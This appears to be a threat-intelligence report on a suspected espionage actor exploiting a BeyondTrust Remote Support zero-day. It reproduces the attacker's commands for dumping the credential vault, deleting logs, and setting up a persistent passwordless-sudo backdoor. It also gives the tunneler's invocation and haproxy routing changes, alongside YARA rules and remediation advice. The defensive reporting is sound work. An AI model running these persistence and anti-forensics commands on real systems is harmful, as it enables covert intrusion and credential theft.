ARMORY CASTLE Exploits BeyondTrust
Google Threat Intelligence Group
Mandiant
Written by: Jayson Frost, Bryce Greathouse, Brian Meyer, John Palmisano, Rajesh Rajeshirke, Steve Rasch, John Wolfram
Introduction
On October 15, BeyondTrust disclosed a vulnerability, CVE-2026-102764, impacting BeyondTrust Remote Support (formerly Bomgar) appliances. BeyondTrust Remote Support is an enterprise secure remote access solution that enables IT teams to securely access and troubleshoot remote endpoints. The successful exploitation of this vulnerability results in the arbitrary upload of files.
During an incident response engagement, Mandiant identified evidence that ARMORY CASTLE, a suspected PRC-nexus espionage threat actor (formerly tracked as UNC5221), exploited this vulnerability as a zero-day, in late August 2026. This blog describes how ARMORY CASTLE escalated privileges and established persistent access to compromised BeyondTrust Remote Support appliances following exploitation of CVE-2026-102764, and provides actionable guidance for defenders.
Organizations should prepare for potential widespread exploitation following this disclosure, as ARMORY CASTLE and other threat actors have historically conducted broad, opportunistic exploitation once the vulnerability becomes public.
Exploitation
Mandiant identified evidence of CVE-2026-102764 exploitation within the access, syslog, messages, thin-scc, brain and SSL log files, which are only accessible via an LUKS-encrypted partition which contains the /home directory. We strongly recommend that affected organizations immediately apply the security patches provided by BeyondTrust to remediate the vulnerability, and review additional guidance in their blog.
Post-Exploitation
Following the successful exploitation of CVE-2026-102764, Mandiant observed ARMORY CASTLE leverage multiple distinct TTPs to establish a foothold, escalate privileges, and enable lateral movement. Throughout the intrusion, ARMORY CASTLE leveraged a deep understanding of BeyondTrust appliance internals, as evidenced by their abuse of proprietary CLI utilities, startup configuration templates and local reverse-proxy routing. The threat actor used newly identified custom malware, the SAWFLY webshell and the BARECLAW tunneler to interact with the BeyondTrust device. Additionally, the actor routinely deleted appliance logs and endpoint artifacts to maintain access and evade detection.


Figure 1: ARMORY CASTLE BeyondTrust compromise sequence of events
Staging Webshell
After successful exploitation of CVE-2026-102764, ARMORY CASTLE initiated POST requests to /app_84304470%2Ephp. Mandiant was unable to recover the file associated with the POST requests. Approximately 11 minutes following the initial POST request, the file system recorded the creation of the SAWFLY webshell at the web root path /%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/. ARMORY CASTLE leveraged the SAWFLY webshell as one of their primary footholds within the environment over the course of the intrusion.
SAWFLY Webshell
SAWFLY (mangoapi.php) is an obfuscated, lightweight PHP webshell that implements bidirectional encrypted C2 communication using a custom Base32 transport layer and a 256-bit RC4 stream cipher. The webshell inspects incoming HTTP POST requests for the obfuscated parameter _c94mfe.
If the parameter is absent, the script immediately sets HTTP status 404 Not Found (http_response_code(404)) and exits to evade automated web crawlers and vulnerability scanners. When the _c94mfe parameter is supplied, the webshell Base32-decodes the payload, decrypts it using RC4 with a hardcoded 32-byte key and executes the resulting PHP code via @eval(). Any non-null return value from the evaluated code is RC4-encrypted with the same key, Base32-encoded, and echoed back to the client.
Privilege Escalation via SUID Bit Permissions
The SAWFLY webshell ran under the site's service account, an unprivileged local user. To escalate privileges, the threat actor copied the system shell executable (/bin/sh) to the file /usr/bin/dbus-authd.
The threat actor then modified the file's ownership to root and enabled Set User ID (SUID) permissions. When a binary has SUID permissions enabled, it executes with the privileges of the file's owner (root) rather than the user running the command, effectively granting the threat actor a persistent root-level backdoor on the host system.
After establishing a foothold through the web shell, the actor elevated from the web service account to root-level control of the appliance host. This gave them access to every credential the appliance stored or brokered and the ability to modify files that survive reboot and configuration reset.
Credential Harvesting: BeyondTrust Vault Extraction
Mandiant observed the threat actor attempt to harvest credentials directly from the appliance's native secrets management database. To achieve this, the actor leveraged the /ns/sbin/bt-secrets binary which is a proprietary, administrative Command Line Interface (CLI) utility native to BeyondTrust appliances used to manage, store, and retrieve passwords, API keys, and endpoint credentials.
The threat actor systematically iterated through several CLI syntax variations to locate and dump the appliance's credential vault:
/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault
Figure 2: Recovered Commands from message logs
First, the threat actor attempted to target the vault for a specific site service account in order to pull passwords and keys assigned exclusively to that profile.
Next, they issued a fallback command, targeting the global, appliance-level password safe to dump all stored administrative credentials.
The threat actor concluded their interaction with the bt-secrets binary by forcibly removing the records stored in /home/bomgar/log/bt-secrets.log and any archived files.
/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2>/dev/null;'
Figure 3: Recovered Commands from message logs
Persistence
For long-term persistent access, Mandiant observed the threat actor target the BeyondTrust configuration templates to grant passwordless root privileges to the site service account.
First, the threat actor created the /home/bomgar/sbin/post_boot.d directory, which is reserved for scripts executed automatically at system startup. Within this directory, they created a shell script named zz-root-persist.
The contents of the zz-root-persist script indicate that it first checks if the user account is already granted passwordless root privileges within the /ns/config/sudoers.template file. If the entry is missing, the script appends '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' to the template. This entry added to the sudoers template grants the site user account passwordless administrative privileges to execute any command on the host system.
Finally, the script executes '/ns/sbin/bt-sysconfig' --no-restart misc, which forces the appliance backend to immediately parse /ns/config/sudoers.template and rebuild the active /etc/sudoers file. This strategy ensures the threat actor's privilege escalation survives system reboots and configuration resets, which would normally overwrite manual changes made directly to /etc/sudoers.
#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' >> '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc
Figure 4: Contents of zz-root-persist
Anti-Forensics
Throughout their unauthorized access to the appliance, Mandiant observed multiple instances where the threat actor attempted to impair defenses and hinder detection by systematically deleting system, web server, and application-level logs.
Originating from the SAWFLY webshell, the threat actor executed the following command using elevated sudo privileges to delete active logs across both host and site-specific directories:
'rm -f \'/ns/log/auth.log\' \'/ns/log/ssl.log\' \'/ns/log/proto-handler.log\' \'/ns/log/bt-docker.log\' \'/ns/log/http-access.log\' \'/ns/log/http-errors.log\' \'/ns/log/php-fpm.log\' \'/ns/log/php-fpm-access.log\' \'/ns/log/php_debug.log\' \'/ns/log/php_web_errors.log\' \'/var/log/messages\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_access.log\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_error.log\' /tmp/sshauth.*'
Figure 5: Recovered Command
Lateral Movement: BeyondTrust Admin Session Abuse
After the compromise of the BeyondTrust device, the threat actor pivoted into the BeyondTrust Remote Support application to perform reconnaissance via compromised Administrator credentials. First, the threat actor leveraged the Administrator account to log into the web administrative portal.
{
"event": "login",
"status": "success",
"target": "web/login",
"who": "[REDACTED_USERNAME] using password",
"who_ip": "[REDACTED_IP]"
}
Figure 6: BeyondTrust Syslog Entry
After testing their initial access and verifying their ability to temporarily join the native Administrators group policy, the threat actor altered their strategy for long-term persistence. The actor directly modified the compromised account's permissions, upgrading both local Jump Items and Team permissions from No Access to Administrator. Jump Items are individual systems or devices that are made available for remote access within a Jump Group, enabling administrators to organize and control access to remote systems. This configuration change granted the threat actor permanent, unrestricted authorization to launch remote sessions to downstream systems populated within the appliance's Jump Item list.
{
"event": "user_changed",
"old_username": "[REDACTED]",
"old_permissions:jump_item_role:default:id": 1,
"new_permissions:jump_item_role:default:id": 3,
"old_permissions:jump_item_role:default:name": "No Access",
"new_permissions:jump_item_role:default:name": "Administrator",
"old_permissions:jump_item_role:teams:id": 1,
"new_permissions:jump_item_role:teams:id": 3,
"old_permissions:jump_item_role:teams:name": "No Access",
"new_permissions:jump_item_role:teams:name": "Administrator"
}
Figure 7: BeyondTrust Syslog Entry
Internal Reconnaissance
Once the threat actor obtained elevated administrative privileges, Mandiant observed the threat actor establish a remote support session to target internal endpoints.
Once connected, the threat actor leveraged the appliance’s built-in support tools to request and obtain full file-system access. The threat actor utilized the native BeyondTrust Remote Support file transfer service to download and exfiltrate sensitive internal documents useful for network reconnaissance, such as software inventories, directly from the user's desktop environment.
BARECLAW Tunneler
Mandiant observed the threat actor tunnel traffic through the BeyondTrust device via a custom SOCKS5 proxy tunneler. BARECLAW is a tunneler written in C that provides a SOCKS5 proxy service carried over the WebSocket transport and relays TCP connections between a remote client and destinations. BARECLAW statically embeds a CivetWeb WebServer to supply its HTTP and WebSocket functionality and utilizes OpenSSL for TLS. BARECLAW is configurable and provides the option to require authentication, to encrypt data between the client and tunneler, to restrict reachable destinations to specific CIDR ranges, to chain traffic to an upstream proxy, and to modify its default WebSocket endpoint and listening ports. TLS is enabled by providing a PEM certificate while authentication, encryption, destination filtering, and TLS are disabled by default.
BARECLAW receives its configuration through CLI input and it provides a CLI option menu:
Usage: %s [options]
--listen PORT plain ws port (default 8080)
--listen-tls PORT wss port (default 8443, needs --ssl-cert)
--ssl-cert FILE PEM certificate (enables wss)
--token STRING shared secret (?token= auth + obfs seed)
--obfs enable XOR stream obfuscation
--timeout SEC idle timeout (default 300)
--connect-timeout SEC target connect timeout (default 10)
--max-tunnels N concurrent tunnel limit (default 100)
--allow-net CIDR allowed target subnet (repeatable)
--upstream [socks5://]host:port route via upstream SOCKS5
--threads N civetweb worker threads (default 64)
--ws-path PATH websocket endpoint path (default /wsproxy)
-q, --quiet zero output (all logging suppressed)
-h this help
Figure 8: BARECLAW CLI Option Menu
The threat actor executed BARECLAW through the following command line arguments:
/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge
Figure 9: BARECLAW full Command-Line Arguments
This command line configures BARECLAW to listen on TCP port 19800 and create the WebSocket endpoint /uidchanarge on the victim system. Clients are required to authenticate using the token specified in the command line arguments while the -q argument suppresses the tunneler’s logging. Tunneled data is encrypted with an XOR-based routine derived from that token and an 8-byte value provided by the client at the start of the session. The lack of the --ssl-cert and --listen-tls arguments in the CLI options means TLS was not enabled in this specific instance.
Modifications to Haproxy.conf
In addition to the creation of the BARECLAW tunneler, Mandiant observed the threat actor modify the /ns/config/haproxy.conf file in order for BARECLAW to be accessible directly from the internet. The HAProxy service running on BeyondTrust devices acts a reverse proxy for the device that accepts incoming requests on behalf of the BeyondTrust server and forwards the request to the appropriate backend services running on the local system (such as web interfaces, administration portals, or application gateways) based on the request's port or URL path.
The haproxy.conf file is the primary configuration script that dictates how the BeyondTrust appliance handles, routes, and secures incoming traffic. The threat actor modifications first established an Access Control List (ACL) named wswsws to monitor incoming traffic for the specific URI path /uidchanarge. When a request matching this path is detected, HAProxy bypasses normal appliance web services and routes the traffic to a custom backend designated as webskd3.
acl wswsws path /uidchanarge
use_backend webskd3 if wswsws
Figure 10: ACL Modification to haproxy.conf
Next, the webskd3 backend routes the incoming web stream locally (127.0.0.1 / localhost) to TCP port 19800, where the BARECLAW utility is actively listening. This local-only binding ensures that the backdoor listener remains completely hidden from external network scans, as it can only be reached internally via HAProxy's local redirection.
backend webskd3
mode http
server websocks5srv 127.0.0.1:19800
option http-keep-alive
timeout server 28s
timeout tunnel 5h
Figure 11: Backend Route Modification to haproxy.conf
Attribution
GTIG attributes the zero-day exploitation of CVE-2026-102764 and the subsequent deployment of SAWFLY and BARECLAW to the suspected PRC-nexus espionage actor ARMORY CASTLE (formerly tracked as UNC5221). The tooling and TTPs leveraged within this intrusion align with previously observed activity from ARMORY CASTLE.
GTIG has previously reported ARMORY CASTLE exploiting multiple vulnerabilities in edge appliances and deploying an extensive suite of custom tooling to support their objectives, ranging from passive backdoors and webshells to trojanized components of edge devices. ARMORY CASTLE has been active as early as October 2023 and has targeted a wide range of countries and verticals during their operations.
Outlook and Implications
In past campaigns, ARMORY CASTLE has conducted widespread and opportunistic exploitation following the public disclosure of vulnerabilities it had exploited selectively as zero-days, racing to infiltrate target organizations before patches are deployed. It is possible that we will observe similar widespread exploitation attempts associated with CVE-2026-102764.
GTIG assesses with high confidence that ARMORY CASTLE will continue to leverage zero-day vulnerabilities in edge devices to gain access to environments to support their espionage objective. Defenders should also prepare for the possibility that following disclosure of CVE-2026-102764, ARMORY CASTLE may conduct widespread exploitation similar to what GTIG observed in 2024 following the disclosure of CVE-2023-46805 and CVE-2024-21887.
Remediation and Hardening
Organizations that have not yet applied the BT26-05 patch should immediately assess their exposure and risk, and review additional guidance from BeyondTrust in their blog. CVE-2026-102764 affects all supported Remote Support versions up to 26.2.3 and allows an unauthenticated remote attacker to perform file operations on the appliance, which can lead to host-level control and access to every credential the appliance stores or brokers. Any appliance that was reachable from the internet on a vulnerable version during the exploitation window should be treated as potentially compromised until it has been reviewed. Mandiant recommends a phased, patch-first approach that balances containment against disruption to support operations.
Immediate Mitigation
Organizations should choose among the following options based on their risk tolerance, evidence of compromise, and operational needs.
Option 1: Apply the BT26-05 Patch (Mandiant Recommended)
-
Remote Support SaaS: BeyondTrust applied the patch to all SaaS tenants on October 9, 2026. No customer action is required for the appliance itself. The credential and configuration steps in Option 3 still apply.
-
Self-hosted, version 24.3.1 or later: Apply the BT26-05-RS patch from the
/applianceinterface, or confirm it was applied automatically if the appliance is subscribed to automatic updates. -
Self-hosted, older than 24.3.1: Upgrade to a supported version, then apply the patch. Upgrading closes the vulnerability but does not remediate prior exposure.
-
If the patch is not visible in
/appliance, open a case with BeyondTrust Support referencing BT26-05.
Option 2: Isolate Compromised or Suspected Appliances
-
Preserve before acting: Snapshot virtual appliances with memory and export the disk before any change or reboot. For B Series hardware and SaaS tenants, request forensic preservation through BeyondTrust Support. Collect syslog, reverse-proxy or WAF, and perimeter firewall logs for the full exposure window, since an attacker with host access can delete on-appliance logs. Mandiant determined that the actor removed logs throughout the incident.
-
Isolate at the perimeter: Block inbound traffic to the appliance's public address at the firewall rather than in
/appliance, so the configuration remains intact for review. -
Restrict egress: Deny outbound traffic except to BeyondTrust update and licensing endpoints, and log every denied connection.
-
Terminate access paths: End active support sessions and disable new sessions, Jump Clients, Jumpoints, and API accounts from
/login. Disable rather than delete so the audit trail survives. -
Rebuild rather than clean: Redeploy appliances with confirmed or unknown compromise status from a clean, fully patched image. Customers cannot audit the appliance host file system, and host-level persistence survives reboot and configuration reset. Restore only a configuration backup dated before the exposure window, or restore the newest backup while isolated and complete the review in Option 3, Part B, before reconnecting anything. Issue a new TLS certificate and redeploy Jump Clients, Jumpoints, and the representative console from the rebuilt appliance.
Note: Isolation and session termination interrupt support operations. Organizations should coordinate with help desk and vendor-support stakeholders before proceeding.
Option 3: Apply Targeted Compensating Controls
The following controls reduce exposure and limit post-exploitation impact. They do not substitute for the patch.
Part A: Network Restrictions
-
Restrict access to the
/loginand/applianceadministrative interfaces by IP or network segment at the appliance level. Only representative console, customer portal, and Jump Client traffic should be reachable from the internet. -
Where operationally possible, place a reverse proxy or WAF with full URI logging in front of the appliance to keep a record of request paths that the appliance cannot alter.
Part B: Credential Rotation and Configuration Review
-
Revoke sessions and enrollments: End all active support sessions, then redeploy Jump Clients, Jumpoints, and the representative console from the patched or rebuilt appliance to invalidate existing tokens.
-
Rotate credentials in dependency order:
/applianceadministrative credentials; /login administrators and local users; API client secrets; security provider bind accounts and SAML signing keys; Remote Support Vault and integrated Password Safe or Privileged Remote Access (PRA) credentials, rotated at the target system; integration credentials (SMTP, syslog, Information Technology Service Management (ITSM) connectors, outbound event secrets); and any credential typed into a support session during the window. -
Review the /login configuration against a pre-window baseline: user and role changes, particularly Jump Item roles raised to Administrator; group and session policies; API accounts; security providers; Jump Items and Jumpoints; and outbound event or syslog destinations. Remove anything without a change record or a named owner.
-
Review support session reports for the window, including file transfers, to establish which endpoints were accessed and what left them. Every endpoint touched is in scope for downstream hunting.
Note: Rotate credentials only after the appliance has been patched or rebuilt. Rotating earlier exposes the new credentials to an attacker who still controls the appliance.
Part C: Control Plane Restrictions
-
Require SAML single sign-on with phishing-resistant MFA for all
/loginusers, and remove local accounts except one vaulted break-glass account with alerting on use. -
Ensure the built-in Admin account is configured with Multi-Factor Authentication (MFA) in accordance with the official BeyondTrust Two-Factor Authentication Guidelines.
-
Set the default Jump Item role in every group policy to No Access, and grant roles through policy rather than per user.
-
Scope API accounts to the minimum permission set, with a named automation owner for any account holding user or Jump Item management rights, and rotate API secrets on a schedule.
-
Keep privileged credentials in Password Safe or an external vault with credential injection rather than in the Remote Support Vault, and store only non-interactive service account credentials on the appliance.
-
Apply default-deny outbound filtering from the appliance, allowing only BeyondTrust endpoints and the organization's own syslog and directory servers.
Part D: Logging and Detection Engineering
Logging and Visibility
-
Forward appliance syslog to a SIEM over TLS with retention that covers a multi-month exposure window, and collect reverse-proxy or WAF and perimeter firewall logs for the appliance's address.
-
Export
/loginsession, team activity, and user audit reports on a schedule.
Detection Engineering
-
Account and policy changes:
user_changedevents that raise a Jump Item or team role;user_added,api_account, andsecurity_providerevents with no change ticket; any change to outbound events or syslog destinations. -
Authentication:
/loginsuccess from residential-broadband or commercial-VPN address space, and administrative logins outside business hours. -
Session activity: file-transfer events, and sessions started by accounts whose roles changed during the window.
-
Request paths: at the reverse proxy or WAF, paths outside the known Remote Support path set, including unknown .php paths and WebSocket upgrades from outside support staff and endpoint address ranges.
-
Anti-forensics: gaps in syslog forwarding from the appliance; an interruption bounded by a single session is a strong indicator of log tampering.
Indicators of Compromise (IOCs)
To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.
File Indicators
Detections
YARA Rules
rule G_Hunting_Webshell_SAWFLY_1 {
meta:
author = "Google Threat Intelligence Group"
strings:
$b32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" ascii wide
$rc4 = "range(0,255)" ascii wide
$pack = "pack('H*'," ascii wide
$eval = "@eval(" ascii wide
$code404 = "http_response_code(404)" ascii wide
condition:
filesize < 20KB and
all of them
}rule G_Hunting_Backdoor_BARECLAW_1 {
meta:
author = "Google Threat Intelligence Group"
strings:
$s1 = "[%s ws_socks5d] " ascii wide
$s2 = "--obfs requires --token" ascii wide
$s3 = "mux: %s (frame[%lu]: %s)" ascii wide
$s4 = "cannot create stream pump/writer thread (stream %d)" ascii wide
$s5 = "reject: bad or missing token from %s" ascii wide
$s6 = "listening on %s path=%s (token=%s obfs=%s max_tunnels=%d threads=%d)" ascii wide
$s7 = "--ws-path must start with '/'" ascii wide
$b_xorshift = { 48 c1 e0 17 48 31 c1 48 89 f0 48 c1 e8 1a 48 31 f0 48 31 c8 48 c1 e9 11 48 31 c8 }
condition:
uint32(0) == 0x464c457f and (5 of ($s*)) or ($b_xorshift and (3 of ($s*)))
}Google Security Operations (SecOps)
Google SecOps customers have access to these broad category rules and more under the Mandiant Hunting, Mandiant Frontline Threats, and Mandiant Intel Emerging Threats rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:
-
Echo Pipes Base64 To Shell
-
Base64 Encoded Shell Command Execution
-
Low Severity Endpoint Detection Cluster on Host
-
Suspicious Curl Download to tmp
-
Suspicious Curl Network Connection to Staging Directory
Acknowledgements
We appreciate BeyondTrust for their collaboration against this threat.
